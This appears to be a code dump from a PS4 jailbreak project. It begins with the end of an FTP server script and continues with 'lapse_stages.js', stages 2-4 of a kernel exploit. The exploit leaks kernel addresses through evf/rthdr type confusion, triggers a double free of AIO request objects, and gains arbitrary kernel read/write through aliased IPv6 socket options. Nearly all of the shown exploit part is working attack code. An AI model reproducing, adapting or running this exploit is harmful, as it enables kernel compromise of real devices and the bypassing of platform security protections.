455 | const path = normalizePath(this.root, rel, this.curPath);
456 | dbg(`DELE ${path}`);
457 | const p = alloc_string(path);
458 | const r = syscall(SYSCALL.unlink, p);
459 | if (Number(r) < 0) this.sendCtrl("550 Could not delete the file\r\n");
460 | else this.sendCtrl("226 File deleted\r\n");
461 | },
462 |
463 | RNFR: async () => {
464 | const m = cmd.match(/^RNFR\s+(.+)/i); const rel = (m && m[1]) || "";
465 | const path = normalizePath(this.root, rel, this.curPath);
466 | dbg(`RNFR ${path}`);
467 | const st = stat_path(path);
468 | if (st) { this.renameFrom = rel; this.sendCtrl("350 Remembered filename\r\n"); }
469 | else this.sendCtrl("550 The file doesn't exist\r\n");
470 | },
471 |
472 | RNTO: async () => {
473 | const m = cmd.match(/^RNTO\s+(.+)/i); const relNew = (m && m[1]) || "";
474 | const oldPath = normalizePath(this.root, this.renameFrom, this.curPath);
475 | const newPath = normalizePath(this.root, relNew, this.curPath);
476 | dbg(`RNTO\n${oldPath}\n${newPath}`);
477 | const po = alloc_string(oldPath), pn = alloc_string(newPath);
478 | const r = syscall(SYSCALL.rename, po, pn);
479 | if (Number(r) < 0) this.sendCtrl("550 Error renaming file\r\n");
480 | else this.sendCtrl("226 Renamed file\r\n");
481 | },
482 |
483 | SITE: async () => { this.sendCtrl("550 Syntax error, command unrecognized\r\n"); },
484 |
485 | QUIT: async () => { this.sendCtrl("221 Goodbye\r\n"); return true; }
486 | };
487 |
488 | const h = handlers[op] || (async () => { this.sendCtrl("500 Syntax error, command unrecognized.\r\n"); dbg(`No implementado: ${cmd}`); });
489 | return await h();
490 | }
491 |
492 | async ensureDataConn() {
493 | if (this.data.mode === CONN.ACTIVE) return this.data.active.fd;
494 | if (this.data.mode === CONN.PASSIVE) {
495 | let tries = 0;
496 | while (this.data.passive.clientFd < 0 && tries++ < 500) {
497 | await new Promise(res => nrdp.setTimeout(res, 10));
498 | }
499 | return this.data.passive.clientFd;
500 | }
501 | throw new Error("Sin conexión de datos");
502 | }
503 |
504 | writeData(fd, str) { const s = alloc_string(str); write_fd(fd, s, str.length); }
505 | writeDataRaw(fd, bufAddr, len) { write_fd(fd, bufAddr, len); }
506 | readData(fd, bufAddr, len) { return read_fd(fd, bufAddr, len); }
507 |
508 | closeDataConn() {
509 | try {
510 | if (this.data.mode === CONN.ACTIVE && this.data.active.fd >= 0) { close_fd(this.data.active.fd); this.data.active.fd = -1; }
511 | else if (this.data.mode === CONN.PASSIVE) {
512 | if (this.data.passive.clientFd >= 0) { close_fd(this.data.passive.clientFd); this.data.passive.clientFd = -1; }
513 | if (this.data.passive.serverFd >= 0) { close_fd(this.data.passive.serverFd); this.data.passive.serverFd = -1; }
514 | }
515 | } catch (_) {}
516 | this.data.mode = CONN.NONE;
517 | }
518 |
519 | cleanup() {
520 | try { this.closeDataConn(); } catch (_) {}
521 | try { if (this.ctrl.clientFd >= 0) close_fd(this.ctrl.clientFd); } catch (_) {}
522 | try { if (this.ctrl.serverFd >= 0) close_fd(this.ctrl.serverFd); } catch (_) {}
523 | notify("FTP Server closed");
524 | dbg("FTP cerrado");
525 | }
526 | }
527 |
528 | // ===== IP actual =====
529 | function get_current_ip_safe() {
530 | const ip = get_current_ip();
531 | if (!ip || ip === "0.0.0.0") throw new Error("Sin red disponible");
532 | return ip;
533 | }
534 |
535 | // ===== Bootstrap =====
536 | (function main_ftp() {
537 | try {
538 | logger.init();
539 | FTP.SERVER_IP = get_current_ip_safe();
540 | const srv = new FTPServer(FTP.SERVER_IP, FTP.CTRL_PORT, FTP.ROOT_PATH);
541 | dbg(`Iniciando FTP (deseado ${FTP.CTRL_PORT}) en ${FTP.SERVER_IP}`);
542 | srv.start();
543 | notify(`FTP listo en ${FTP.SERVER_IP}:${FTP.CTRL_PORT}`);
544 | } catch (e) {
545 | dbg("ERROR FTP: " + e.message);
546 | }
547 | })();
548 |
549 |
--------------------------------------------------------------------------------
/PS4/payloads/lapse/lapse_stages.js:
--------------------------------------------------------------------------------
1 | /*
2 | PS4 Lapse - Exploit Stage Functions (Stages 2-4)
3 |
4 | Stage 2: Leak kernel addresses
5 | Stage 3: Double free SceKernelAioRWRequest
6 | Stage 4: Get arbitrary kernel read/write
7 | */
8 |
9 | // === Stage 2 Functions ===
10 |
11 | function new_evf(name, flags) {
12 | const result = syscall(SYSCALL.evf_create, name, 0n, flags);
13 | if (result === 0xffffffffffffffffn) {
14 | throw new Error("evf_create error: " + hex(result));
15 | }
16 | return result;
17 | }
18 |
19 | function set_evf_flags(id, flags) {
20 | let result = syscall(SYSCALL.evf_clear, id, 0n);
21 | if (result === 0xffffffffffffffffn) {
22 | throw new Error("evf_clear error: " + hex(result));
23 | }
24 | result = syscall(SYSCALL.evf_set, id, flags);
25 | if (result === 0xffffffffffffffffn) {
26 | throw new Error("evf_set error: " + hex(result));
27 | }
28 | return result;
29 | }
30 |
31 | function free_evf(id) {
32 | const result = syscall(SYSCALL.evf_delete, id);
33 | if (result === 0xffffffffffffffffn) {
34 | throw new Error("evf_delete error: " + hex(result));
35 | }
36 | return result;
37 | }
38 |
39 | function verify_reqs2(addr, cmd) {
40 | if (read32_uncompressed(addr) !== cmd) {
41 | return false;
42 | }
43 |
44 | const heap_prefixes = [];
45 |
46 | for (let i = 0x10n; i <= 0x20n; i += 8n) {
47 | if (read16_uncompressed(addr + i + 6n) !== 0xffffn) {
48 | return false;
49 | }
50 | heap_prefixes.push(Number(read16_uncompressed(addr + i + 4n)));
51 | }
52 |
53 | const state1 = Number(read32_uncompressed(addr + 0x38n));
54 | const state2 = Number(read32_uncompressed(addr + 0x3cn));
55 | if (!(state1 > 0 && state1 <= 4) || state2 !== 0) {
56 | return false;
57 | }
58 |
59 | if (read64_uncompressed(addr + 0x40n) !== 0n) {
60 | return false;
61 | }
62 |
63 | for (let i = 0x48n; i <= 0x50n; i += 8n) {
64 | if (read16_uncompressed(addr + i + 6n) === 0xffffn) {
65 | if (read16_uncompressed(addr + i + 4n) !== 0xffffn) {
66 | heap_prefixes.push(Number(read16_uncompressed(addr + i + 4n)));
67 | }
68 | } else if (i === 0x50n || read64_uncompressed(addr + i) !== 0n) {
69 | return false;
70 | }
71 | }
72 |
73 | if (heap_prefixes.length < 2) {
74 | return false;
75 | }
76 |
77 | const first_prefix = heap_prefixes[0];
78 | for (let idx = 1; idx < heap_prefixes.length; idx++) {
79 | if (heap_prefixes[idx] !== first_prefix) {
80 | return false;
81 | }
82 | }
83 |
84 | return true;
85 | }
86 |
87 | function leak_kernel_addrs(sd_pair, sds) {
88 | const sd = sd_pair[0];
89 | const buflen = 0x80 * LEAK_LEN;
90 | const buf = malloc(buflen);
91 |
92 | logger.log("Confusing evf with rthdr...");
93 |
94 | const name = malloc(1);
95 |
96 | syscall(SYSCALL.close, BigInt(sd_pair[1]));
97 |
98 | let evf = null;
99 | for (let i = 1; i <= NUM_ALIAS; i++) {
100 | const evfs = [];
101 |
102 | for (let j = 1; j <= NUM_HANDLES; j++) {
103 | const evf_flags = 0xf00n | (BigInt(j) << 16n);
104 | evfs.push(new_evf(name, evf_flags));
105 | }
106 |
107 | get_rthdr(sd, buf, 0x80);
108 |
109 | const flag = Number(read32_uncompressed(buf));
110 |
111 | if ((flag & 0xf00) === 0xf00) {
112 | const idx = (flag >>> 16) & 0xffff;
113 | const expected_flag = BigInt(flag | 1);
114 |
115 | evf = evfs[idx - 1];
116 |
117 | set_evf_flags(evf, expected_flag);
118 | get_rthdr(sd, buf, 0x80);
119 |
120 | const val = read32_uncompressed(buf);
121 | if (val === expected_flag) {
122 | evfs.splice(idx - 1, 1);
123 | } else {
124 | evf = null;
125 | }
126 | }
127 |
128 | for (let k = 0; k < evfs.length; k++) {
129 | if (evf === null || evfs[k] !== evf) {
130 | free_evf(evfs[k]);
131 | }
132 | }
133 |
134 | if (evf !== null) {
135 | logger.log("Confused rthdr and evf at attempt: " + i);
136 | break;
137 | }
138 | }
139 |
140 | if (evf === null) {
141 | logger.log("Failed to confuse evf and rthdr");
142 | return null;
143 | }
144 |
145 | set_evf_flags(evf, 0xff00n);
146 |
147 | const kernel_addr = read64_uncompressed(buf + 0x28n);
148 | logger.log("\"evf cv\" string addr: " + hex(kernel_addr));
149 |
150 | const kbuf_addr = read64_uncompressed(buf + 0x40n) - 0x38n;
151 | logger.log("Kernel buffer addr: " + hex(kbuf_addr));
152 |
153 | const wbufsz = 0x80;
154 | const wbuf = malloc(wbufsz);
155 | const rsize = build_rthdr(wbuf, wbufsz);
156 | const marker_val = 0xdeadbeefn;
157 | const reqs3_offset = 0x10n;
158 |
159 | write32_uncompressed(wbuf + 4n, marker_val);
160 | write32_uncompressed(wbuf + reqs3_offset + 0n, 1n);
161 | write32_uncompressed(wbuf + reqs3_offset + 4n, 0n);
162 | write32_uncompressed(wbuf + reqs3_offset + 8n, AIO_STATE_COMPLETE);
163 | write8_uncompressed(wbuf + reqs3_offset + 0xcn, 0n);
164 | write32_uncompressed(wbuf + reqs3_offset + 0x28n, 0x67b0000n);
165 | write64_uncompressed(wbuf + reqs3_offset + 0x38n, 1n);
166 |
167 | const num_elems = 6;
168 | const ucred = kbuf_addr + 4n;
169 | const leak_reqs = make_reqs1(num_elems);
170 | write64_uncompressed(leak_reqs + 0x10n, ucred);
171 |
172 | const num_loop = NUM_SDS;
173 | const leak_ids_len = num_loop * num_elems;
174 | const leak_ids = malloc(4 * leak_ids_len);
175 | const step = BigInt(4 * num_elems);
176 | const cmd = AIO_CMD_WRITE | AIO_CMD_FLAG_MULTI;
177 |
178 | let reqs2_off = null;
179 | let fake_reqs3_off = null;
180 | let fake_reqs3_sd = null;
181 |
182 | for (let i = 1; i <= NUM_LEAKS; i++) {
183 | for (let j = 1; j <= num_loop; j++) {
184 | write32_uncompressed(wbuf + 8n, BigInt(j));
185 | aio_submit_cmd(cmd, leak_reqs, num_elems, 3n, leak_ids + (BigInt(j - 1) * step));
186 | set_rthdr(Number(sds[j - 1]), wbuf, rsize);
187 | }
188 |
189 | get_rthdr(sd, buf, buflen);
190 |
191 | let sd_idx = null;
192 | reqs2_off = null;
193 | fake_reqs3_off = null;
194 |
195 | for (let off = 0x80; off < buflen; off += 0x80) {
196 | const offset = BigInt(off);
197 |
198 | if (reqs2_off === null && verify_reqs2(buf + offset, AIO_CMD_WRITE)) {
199 | reqs2_off = off;
200 | }
201 |
202 | if (fake_reqs3_off === null) {
203 | const marker = read32_uncompressed(buf + offset + 4n);
204 | if (marker === marker_val) {
205 | fake_reqs3_off = off;
206 | sd_idx = Number(read32_uncompressed(buf + offset + 8n));
207 | }
208 | }
209 | }
210 |
211 | if (reqs2_off !== null && fake_reqs3_off !== null) {
212 | logger.log("Found reqs2 and fake reqs3 at attempt: " + i);
213 | fake_reqs3_sd = sds[sd_idx - 1];
214 | sds.splice(sd_idx - 1, 1);
215 | free_rthdrs(sds);
216 | sds.push(new_socket());
217 | break;
218 | }
219 |
220 | free_aios(leak_ids, leak_ids_len);
221 | }
222 |
223 | if (reqs2_off === null || fake_reqs3_off === null) {
224 | logger.log("Could not leak reqs2 and fake reqs3");
225 | logger.flush();
226 | return null;
227 | }
228 |
229 | logger.log("reqs2 offset: " + hex(BigInt(reqs2_off)));
230 | logger.log("fake reqs3 offset: " + hex(BigInt(fake_reqs3_off)));
231 | logger.flush();
232 |
233 | get_rthdr(sd, buf, buflen);
234 |
235 | const aio_info_addr = read64_uncompressed(buf + BigInt(reqs2_off) + 0x18n);
236 |
237 | let reqs1_addr = read64_uncompressed(buf + BigInt(reqs2_off) + 0x10n);
238 | reqs1_addr = reqs1_addr & ~0xffn;
239 |
240 | const fake_reqs3_addr = kbuf_addr + BigInt(fake_reqs3_off) + reqs3_offset;
241 |
242 | logger.log("reqs1_addr = " + hex(reqs1_addr));
243 | logger.log("fake_reqs3_addr = " + hex(fake_reqs3_addr));
244 |
245 | logger.log("Searching for target_id...");
246 | logger.flush();
247 |
248 | let target_id = null;
249 | let to_cancel = null;
250 | let to_cancel_len = null;
251 |
252 | const errors = malloc(4 * num_elems);
253 |
254 | for (let i = 0; i < leak_ids_len; i += num_elems) {
255 | aio_multi_cancel(leak_ids + BigInt(i * 4), num_elems, errors);
256 | get_rthdr(sd, buf, buflen);
257 |
258 | const state = read32_uncompressed(buf + BigInt(reqs2_off) + 0x38n);
259 | if (state === AIO_STATE_ABORTED) {
260 | target_id = read32_uncompressed(leak_ids + BigInt(i * 4));
261 | write32_uncompressed(leak_ids + BigInt(i * 4), 0n);
262 |
263 | logger.log("Found target_id=" + hex(target_id) + ", i=" + i + ", batch=" + Math.floor(i / num_elems));
264 | logger.flush();
265 | const start = i + num_elems;
266 | to_cancel = leak_ids + BigInt(start * 4);
267 | to_cancel_len = leak_ids_len - start;
268 |
269 | break;
270 | }
271 | }
272 |
273 | if (target_id === null) {
274 | logger.log("Target ID not found");
275 | logger.flush();
276 | return null;
277 | }
278 |
279 | cancel_aios(to_cancel, to_cancel_len);
280 | free_aios2(leak_ids, leak_ids_len);
281 |
282 | logger.log("Kernel addresses leaked successfully!");
283 | logger.flush();
284 |
285 | return {
286 | reqs1_addr: reqs1_addr,
287 | kbuf_addr: kbuf_addr,
288 | kernel_addr: kernel_addr,
289 | target_id: target_id,
290 | evf: evf,
291 | fake_reqs3_addr: fake_reqs3_addr,
292 | fake_reqs3_sd: fake_reqs3_sd,
293 | aio_info_addr: aio_info_addr
294 | };
295 | }
296 |
297 | // === Stage 3 Functions ===
298 |
299 | function make_aliased_pktopts(sds) {
300 | const tclass = malloc(4);
301 |
302 | for (let loop = 0; loop < NUM_ALIAS; loop++) {
303 | for (let i = 0; i < sds.length; i++) {
304 | write32_uncompressed(tclass, BigInt(i));
305 | set_sockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4);
306 | }
307 |
308 | for (let i = 0; i < sds.length; i++) {
309 | get_sockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4);
310 | const marker = Number(read32_uncompressed(tclass));
311 |
312 | if (marker !== i) {
313 | const sd_pair = [sds[i], sds[marker]];
314 | logger.log("Aliased pktopts at attempt " + loop + " (pair: " + sd_pair[0] + ", " + sd_pair[1] + ")");
315 | logger.flush();
316 | if (marker > i) {
317 | sds.splice(marker, 1);
318 | sds.splice(i, 1);
319 | } else {
320 | sds.splice(i, 1);
321 | sds.splice(marker, 1);
322 | }
323 |
324 | for (let j = 0; j < 2; j++) {
325 | const sock_fd = new_socket();
326 | set_sockopt(sock_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4);
327 | sds.push(sock_fd);
328 | }
329 |
330 | return sd_pair;
331 | }
332 | }
333 |
334 | for (let i = 0; i < sds.length; i++) {
335 | set_sockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0n, 0);
336 | }
337 | }
338 |
339 | return null;
340 | }
341 |
342 | function double_free_reqs1(reqs1_addr, target_id, evf, sd, sds, sds_alt, fake_reqs3_addr) {
343 | const max_leak_len = (0xff + 1) << 3;
344 | const buf = malloc(max_leak_len);
345 |
346 | const num_elems = MAX_AIO_IDS;
347 | const aio_reqs = make_reqs1(num_elems);
348 |
349 | const num_batches = 2;
350 | const aio_ids_len = num_batches * num_elems;
351 | const aio_ids = malloc(4 * aio_ids_len);
352 |
353 | logger.log("Overwriting rthdr with AIO queue entry...");
354 | logger.flush();
355 | let aio_not_found = true;
356 | free_evf(evf);
357 |
358 | for (let i = 0; i < NUM_CLOBBERS; i++) {
359 | spray_aio(num_batches, aio_reqs, num_elems, aio_ids, true);
360 |
361 | const size_ret = get_rthdr(sd, buf, max_leak_len);
362 | const cmd = read32_uncompressed(buf);
363 |
364 | if (size_ret === 8n && cmd === AIO_CMD_READ) {
365 | logger.log("Aliased at attempt " + i);
366 | logger.flush();
367 | aio_not_found = false;
368 | cancel_aios(aio_ids, aio_ids_len);
369 | break;
370 | }
371 |
372 | free_aios(aio_ids, aio_ids_len, true);
373 | }
374 |
375 | if (aio_not_found) {
376 | logger.log("Failed to overwrite rthdr");
377 | logger.flush();
378 | return null;
379 | }
380 |
381 | const reqs2_size = 0x80;
382 | const reqs2 = malloc(reqs2_size);
383 | const rsize = build_rthdr(reqs2, reqs2_size);
384 |
385 | write32_uncompressed(reqs2 + 4n, 5n);
386 | write64_uncompressed(reqs2 + 0x18n, reqs1_addr);
387 | write64_uncompressed(reqs2 + 0x20n, fake_reqs3_addr);
388 |
389 | const states = malloc(4 * num_elems);
390 | const addr_cache = [];
391 | for (let i = 0; i < num_batches; i++) {
392 | addr_cache.push(aio_ids + BigInt(i * num_elems * 4));
393 | }
394 |
395 | logger.log("Overwriting AIO queue entry with rthdr...");
396 | logger.flush();
397 |
398 | syscall(SYSCALL.close, BigInt(sd));
399 | sd = null;
400 |
401 | function overwrite_aio_entry_with_rthdr() {
402 | for (let i = 0; i < NUM_ALIAS; i++) {
403 | for (let j = 0; j < sds.length; j++) {
404 | set_rthdr(sds[j], reqs2, rsize);
405 | }
406 |
407 | for (let batch = 0; batch < addr_cache.length; batch++) {
408 | for (let j = 0; j < num_elems; j++) {
409 | write32_uncompressed(states + BigInt(j * 4), -1n);
410 | }
411 |
412 | aio_multi_cancel(addr_cache[batch], num_elems, states);
413 |
414 | let req_idx = -1;
415 | for (let j = 0; j < num_elems; j++) {
416 | const val = read32_uncompressed(states + BigInt(j * 4));
417 | if (val === AIO_STATE_COMPLETE) {
418 | req_idx = j;
419 | break;
420 | }
421 | }
422 |
423 | if (req_idx !== -1) {
424 | logger.log("Found req_id at batch " + batch + ", attempt " + i);
425 | logger.flush();
426 |
427 | const aio_idx = batch * num_elems + req_idx;
428 | const req_id_p = aio_ids + BigInt(aio_idx * 4);
429 | const req_id = read32_uncompressed(req_id_p);
430 |
431 | aio_multi_poll(req_id_p, 1, states);
432 | write32_uncompressed(req_id_p, 0n);
433 |
434 | return req_id;
435 | }
436 | }
437 | }
438 |
439 | return null;
440 | }
441 |
442 | const req_id = overwrite_aio_entry_with_rthdr();
443 | if (req_id === null) {
444 | logger.log("Failed to overwrite AIO queue entry");
445 | logger.flush();
446 | return null;
447 | }
448 |
449 | free_aios2(aio_ids, aio_ids_len);
450 |
451 | const target_id_p = malloc(4);
452 | write32_uncompressed(target_id_p, BigInt(target_id));
453 |
454 | aio_multi_poll(target_id_p, 1, states);
455 |
456 | const sce_errs = malloc(8);
457 | write32_uncompressed(sce_errs, -1n);
458 | write32_uncompressed(sce_errs + 4n, -1n);
459 |
460 | const target_ids = malloc(8);
461 | write32_uncompressed(target_ids, req_id);
462 | write32_uncompressed(target_ids + 4n, BigInt(target_id));
463 |
464 | logger.log("Triggering double free...");
465 | logger.flush();
466 | aio_multi_delete(target_ids, 2, sce_errs);
467 |
468 | logger.log("Reclaiming memory...");
469 | logger.flush();
470 | const sd_pair = make_aliased_pktopts(sds_alt);
471 |
472 | const err1 = read32_uncompressed(sce_errs);
473 | const err2 = read32_uncompressed(sce_errs + 4n);
474 |
475 | write32_uncompressed(states, -1n);
476 | write32_uncompressed(states + 4n, -1n);
477 |
478 | aio_multi_poll(target_ids, 2, states);
479 |
480 | let success = true;
481 | if (read32_uncompressed(states) !== SCE_KERNEL_ERROR_ESRCH) {
482 | logger.log("ERROR: Bad delete of corrupt AIO request");
483 | logger.flush();
484 | success = false;
485 | }
486 |
487 | if (err1 !== 0n || err1 !== err2) {
488 | logger.log("ERROR: Bad delete of ID pair");
489 | logger.flush();
490 | success = false;
491 | }
492 |
493 | if (!success) {
494 | logger.log("Double free failed");
495 | logger.flush();
496 | return null;
497 | }
498 |
499 | if (sd_pair === null) {
500 | logger.log("Failed to make aliased pktopts");
501 | logger.flush();
502 | return null;
503 | }
504 |
505 | return sd_pair;
506 | }
507 |
508 | // === Stage 4 Functions ===
509 |
510 | function make_kernel_arw(pktopts_sds, reqs1_addr, kernel_addr, sds, sds_alt, aio_info_addr) {
511 | try {
512 | const master_sock = pktopts_sds[0];
513 | const tclass = malloc(4);
514 | const off_tclass = kernel_offset.IP6PO_TCLASS;
515 |
516 | const pktopts_size = 0x100;
517 | const pktopts = malloc(pktopts_size);
518 | const rsize = build_rthdr(pktopts, pktopts_size);
519 | const pktinfo_p = reqs1_addr + 0x10n;
520 |
521 | write64_uncompressed(pktopts + 0x10n, pktinfo_p);
522 |
523 | logger.log("Overwriting main pktopts");
524 | logger.flush();
525 | let reclaim_sock = null;
526 |
527 | syscall(SYSCALL.close, pktopts_sds[1]);
528 |
529 | for (let i = 1; i <= NUM_ALIAS; i++) {
530 | for (let j = 0; j < sds_alt.length; j++) {
531 | write32_uncompressed(pktopts + off_tclass, 0x4141n | (BigInt(j) << 16n));
532 | set_rthdr(sds_alt[j], pktopts, rsize);
533 | }
534 |
535 | get_sockopt(master_sock, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4);
536 | const marker = read32_uncompressed(tclass);
537 | if ((marker & 0xffffn) === 0x4141n) {
538 | logger.log("Found reclaim socket at attempt: " + i);
539 | logger.flush();
540 | const idx = Number(marker >> 16n);
541 | reclaim_sock = sds_alt[idx];
542 | sds_alt.splice(idx, 1);
543 | break;
544 | }
545 | }
546 |
547 | if (reclaim_sock === null) {
548 | logger.log("Failed to overwrite main pktopts");
549 | logger.flush();
550 | return null;
551 | }
552 |
553 | const pktinfo_len = 0x14;
554 | const pktinfo = malloc(pktinfo_len);
555 | write64_uncompressed(pktinfo, pktinfo_p);
556 |
557 | const read_buf = malloc(8);
558 |
559 | function slow_kread8(addr) {
560 | const len = 8;
561 | let offset = 0;
562 |
563 | while (offset < len) {
564 | write64_uncompressed(pktinfo + 8n, addr + BigInt(offset));
565 |
566 | set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len);
567 | const n = get_sockopt(master_sock, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf + BigInt(offset), len - offset);
568 |
569 | if (n === 0n) {
570 | write8_uncompressed(read_buf + BigInt(offset), 0n);
571 | offset = offset + 1;
572 | } else {
573 | offset = offset + Number(n);
574 | }
575 | }
576 |
577 | return read64_uncompressed(read_buf);
578 | }
579 |
580 | const test_read = slow_kread8(kernel_addr);
581 | logger.log("slow_kread8(\"evf cv\"): " + hex(test_read));
582 | logger.flush();
583 | const kstr = read_cstring(read_buf);
584 | logger.log("*(\"evf cv\"): " + kstr);
585 | logger.flush();
586 |
587 | if (kstr !== "evf cv") {
588 | logger.log("Test read of \"evf cv\" failed");
589 | logger.flush();
590 | return null;
591 | }
592 |
593 | logger.log("Slow arbitrary kernel read achieved");
594 | logger.flush();
595 |
596 | const curproc = slow_kread8(aio_info_addr + 8n);
597 |
598 | if (Number(curproc >> 48n) !== 0xffff) {
599 | logger.log("Invalid curproc kernel address: " + hex(curproc));
600 | logger.flush();
601 | return null;
602 | }
603 |
604 | const possible_pid = slow_kread8(curproc + kernel_offset.PROC_PID);
605 | const current_pid = syscall(SYSCALL.getpid);
606 |
607 | if ((possible_pid & 0xffffffffn) !== (current_pid & 0xffffffffn)) {
608 | logger.log("curproc verification failed: " + hex(curproc));
609 | logger.flush();
610 | return null;
611 | }
612 |
613 | logger.log("curproc = " + hex(curproc));
614 | logger.flush();
615 |
616 | kernel.addr.curproc = curproc;
617 | kernel.addr.curproc_fd = slow_kread8(kernel.addr.curproc + kernel_offset.PROC_FD);
618 | kernel.addr.curproc_ofiles = slow_kread8(kernel.addr.curproc_fd) + kernel_offset.FILEDESC_OFILES;
619 | kernel.addr.inside_kdata = kernel_addr;
620 |
621 | function get_fd_data_addr(sock, kread8_fn) {
622 | const filedescent_addr = kernel.addr.curproc_ofiles + sock * kernel_offset.SIZEOF_OFILES;
623 | const file_addr = kread8_fn(filedescent_addr + 0x0n);
624 | return kread8_fn(file_addr + 0x0n);
625 | }
626 |
627 | function get_sock_pktopts(sock, kread8_fn) {
628 | const fd_data = get_fd_data_addr(sock, kread8_fn);
629 | const pcb = kread8_fn(fd_data + kernel_offset.SO_PCB);
630 | const pktopts = kread8_fn(pcb + kernel_offset.INPCB_PKTOPTS);
631 | return pktopts;
632 | }
633 |
634 | const worker_sock = new_socket();
635 | const worker_pktinfo = malloc(pktinfo_len);
636 |
637 | set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, worker_pktinfo, pktinfo_len);
638 |
639 | const worker_pktopts = get_sock_pktopts(worker_sock, slow_kread8);
640 |
641 | write64_uncompressed(pktinfo, worker_pktopts + 0x10n);
642 | write64_uncompressed(pktinfo + 8n, 0n);
643 | set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len);
644 |
645 | function kread20(addr, buf) {
646 | write64_uncompressed(pktinfo, addr);
647 | set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len);
648 | get_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len);
649 | }
650 |
651 | function kwrite20(addr, buf) {
652 | write64_uncompressed(pktinfo, addr);
653 | set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len);
654 | set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len);
655 | }
656 |
657 | function kread8(addr) {
658 | kread20(addr, worker_pktinfo);
659 | return read64_uncompressed(worker_pktinfo);
660 | }
661 |
662 | function restricted_kwrite8(addr, val) {
663 | write64_uncompressed(worker_pktinfo, val);
664 | write64_uncompressed(worker_pktinfo + 8n, 0n);
665 | write32_uncompressed(worker_pktinfo + 16n, 0n);
666 | kwrite20(addr, worker_pktinfo);
667 | }
668 |
669 | write64_uncompressed(read_buf, kread8(kernel_addr));
670 | const kstr2 = read_cstring(read_buf);
671 | if (kstr2 !== "evf cv") {
672 | logger.log("Test read of \"evf cv\" failed");
673 | logger.flush();
674 | return null;
675 | }
676 |
677 | logger.log("Restricted kernel r/w achieved");
678 | logger.flush();
679 |
680 | ipv6_kernel_rw.init(kernel.addr.curproc_ofiles, kread8, restricted_kwrite8);
681 |
682 | kernel.read_buffer = ipv6_kernel_rw.read_buffer;
683 | kernel.write_buffer = ipv6_kernel_rw.write_buffer;
684 | kernel.copyout = ipv6_kernel_rw.copyout;
685 | kernel.copyin = ipv6_kernel_rw.copyin;
686 |
687 | const kstr3 = kernel.read_null_terminated_string(kernel_addr);
688 | if (kstr3 !== "evf cv") {
689 | logger.log("Test read of \"evf cv\" failed");
690 | logger.flush();
691 | return null;
692 | }
693 |
694 | logger.log("Arbitrary kernel r/w achieved!");
695 | logger.flush();
696 |
697 | const off_ip6po_rthdr = kernel_offset.IP6PO_RTHDR;
698 |
699 | for (let i = 0; i < sds.length; i++) {
700 | const sock_pktopts = get_sock_pktopts(sds[i], kernel.read_qword);
701 | kernel.write_qword(sock_pktopts + off_ip6po_rthdr, 0n);
702 | }
703 |
704 | const reclaimer_pktopts = get_sock_pktopts(reclaim_sock, kernel.read_qword);
705 |
706 | kernel.write_qword(reclaimer_pktopts + off_ip6po_rthdr, 0n);
707 | kernel.write_qword(worker_pktopts + off_ip6po_rthdr, 0n);
708 |
709 | const sock_increase_ref = [
710 | ipv6_kernel_rw.data.master_sock,
711 | ipv6_kernel_rw.data.victim_sock,
712 | master_sock,
713 | worker_sock,
714 | reclaim_sock
715 | ];
716 |
717 | for (const each of sock_increase_ref) {
718 | const sock_addr = get_fd_data_addr(each, kernel.read_qword);
719 | kernel.write_dword(sock_addr + 0x0n, 0x100n);
720 | }
721 |
722 | logger.log("Fixes applied");
723 | logger.flush();
724 |
725 | return true;
726 |
727 | } catch (e) {
728 | logger.log("make_kernel_arw error: " + e.message);
729 | logger.log(e.stack);
730 | return null;
731 | }
732 | }
733 |
--------------------------------------------------------------------------------